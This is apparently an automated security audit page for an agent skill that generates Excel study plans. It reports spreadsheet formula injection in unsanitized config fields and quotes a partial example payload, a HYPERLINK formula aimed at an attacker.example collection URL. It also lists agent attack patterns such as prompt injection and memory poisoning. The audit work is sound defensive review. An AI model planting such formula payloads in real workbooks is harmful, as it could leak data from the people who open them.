Security audit

li-Record-lecture-video

Security checks for vulnerabilities and agentic risk

Overview

This skill is a coherent Excel study-plan generator, but users should treat configuration and template text as trusted input because some spreadsheet fields are not fully formula-sanitized.

Install only if you trust the course data, config JSON, and Excel templates you provide. Avoid using untrusted text in guide, homework, exam, registration, learning-method, or placeholder fields until formula sanitization is applied across all workbook text fields. Confirm the output path before running because the skill writes an .xlsx file to disk.

A.I.G

Vulnerability Patterns

Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally

Findings (2)

T09 · Insecure Skill Coding Practices

Warning

Location: scripts/generate_study_plan.py:467
Finding: Spreadsheet Formula Injection Through Configurable Study-Plan Fields
Content: View full analysis
= 4 else ALIGN_C if borders: cell.border = BORDER ws.row_dimensions[row].height = height ``` ```python vals = [ f'第{day_idx}天' if ti == 0 else '', hours, sanitize_title(title), str(g[0])[:500] if len(g) > 0 else '', str(g[1])[:500] if len(g) > 1 else '', str(g[2])[:500] if len(g) > 2 else '', '', '', homework, lm_method, lm_materials, ] write_row(ws, row, vals); row += 1 ``` ### Technical Analysis The application defines `sanitize_title()` to neutralize strings beginning with spreadsheet formula prefixes such as `=`, `+`, `-`, and `@`. However, `write_row()` applies that sanitizer only when `ci == 4`, which is the study-chapter/video-title column. Other externally configurable strings are written directly into workbook cells, including: - Learning goal - Verification method - Learning content - Homework - Learning method - Learning materials OpenPyXL treats strings beginning with `=` as formulas. Consequently, an attacker-controlled configuration value such as: ```json { "homework": "=HYPERLINK(\"https://attacker.example/collect\",\"Op ...[truncated 2034 chars]
Remediation: View remediation

T09 · Insecure Skill Coding Practices

Warning

Location: scripts/template_engine.py:322
Finding: Spreadsheet Formula Injection in Custom Template Data and Placeholder Replacement
Content: View full analysis
0 else '', 'verify': str(g[1])[:500] if len(g) > 1 else '', 'content': str(g[2])[:500] if len(g) > 2 else '', 'project': '', 'comprehensive': '', 'homework': homework, 'method': method_text, 'materials': materials_text, } _write_data_row(ws, curr_row, row_data, col_map, template_styles) ``` ```python def _write_data_row(ws, row, data, col_map, styles): """Write one video-data row.""" field_to_col = { 'day': 2, 'duration': 3, 'title': 4, 'goal': 5, 'verify': 6, 'content': 7, 'project': 8, 'comprehensive': 9, 'homework': 10, 'method': 11, 'materials': 12, } # Prefer detected column mappings when available for field, col in col_map.items(): if field in field_to_col: field_to_col[field] = col for field, col in field_to_col.items(): val = data.get(field, '') cell = ws.cell(row=row, column=col, value=val) if col in styles: s = styles[col] cell.font = copy.copy(s['font']) cell.alignment = copy.copy(s['alignment']) cell.border = copy.copy(s['border']) ``` ```python def _replace_placeholder_text(ws, placeholder, text): """Find and replace placeholder text throughout the worksheet.""" if not text: return max_row = ws.max_row or 100 max_col = ws.max_column or MAX_COL for r in range(1, max_row + 1): for c in range(1, max_col + 1): cell = ws.cel ...[truncated 2751 chars]
Remediation: View remediation

SkillSpector

Vulnerability Patterns

MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access

Findings (7)

Tp4

High

Category: MCP Tool Poisoning
Confidence: 98% confidence
Finding: The declared description focuses on generating an Excel-based study plan for recorded courses, including template support and day-based grouping. The supplied code chunk does something materially different: it builds a mapping from video titles to instructional guidance triples using rule functions, plus coverage validation/reporting. There is no spreadsheet generation, no Excel processing, no template detection, and no scheduling logic. This is a primary-purpose mismatch rather than a minor implementation detail difference.
Content: No source excerpt is available for this finding.

Undeclared Tool Scope

Medium

Category: MCP Least Privilege
Confidence: 70% confidence
Finding: Without declared permissions the skill's intent is opaque and cannot be validated.
Content: No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium

Category: Not specified by scanner
Confidence: 78% confidence
Finding: The primary natural-language description of the skill is entirely in Chinese and presents the tool's purpose and usage assumptions in that language only. Under the stated policy, language constraints should either provide user opt-in/choice or be clearly justified as region-specific; neither is present here.
Content: No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium

Category: Not specified by scanner
Confidence: 91% confidence
Finding: The module docstring, usage text, CLI descriptions, and embedded user-facing workbook content are all written in Chinese, and there is no indication that users can opt into another language. Under the stated policy, forcing a specific language without user opt-in is a natural-language policy violation.
Content: No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium

Category: Not specified by scanner
Confidence: 93% confidence
Finding: This Python file contains natural-language strings indicating the skill is specifically for Chinese output, and the built-in template later hard-codes Chinese worksheet titles and headers. Because the file does not offer a language selection or document that the locale restriction is intentional and limited to a region-specific use case, it conflicts with the language/locale policy criteria.
Content: No source excerpt is available for this finding.

Natural-Language Policy Violations

Low

Category: Not specified by scanner
Confidence: 87% confidence
Finding: This markdown file uses only Chinese for its instructions, headings, and examples, but does not state that the skill is intended specifically for Chinese-speaking users or offer any language/locale choice. Under the language/locale policy, forcing a specific language without user opt-in can be a natural-language policy concern.
Content: No source excerpt is available for this finding.

Missing User Warnings

Low

Category: Not specified by scanner
Confidence: 88% confidence
Finding: The code creates directories and saves a workbook to the output path, which is a file-writing operation affecting user data on disk. In this file there is no confirmation prompt, print/log disclosure, or docstring warning near the write operation explaining that files will be created or overwritten.
Content: No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.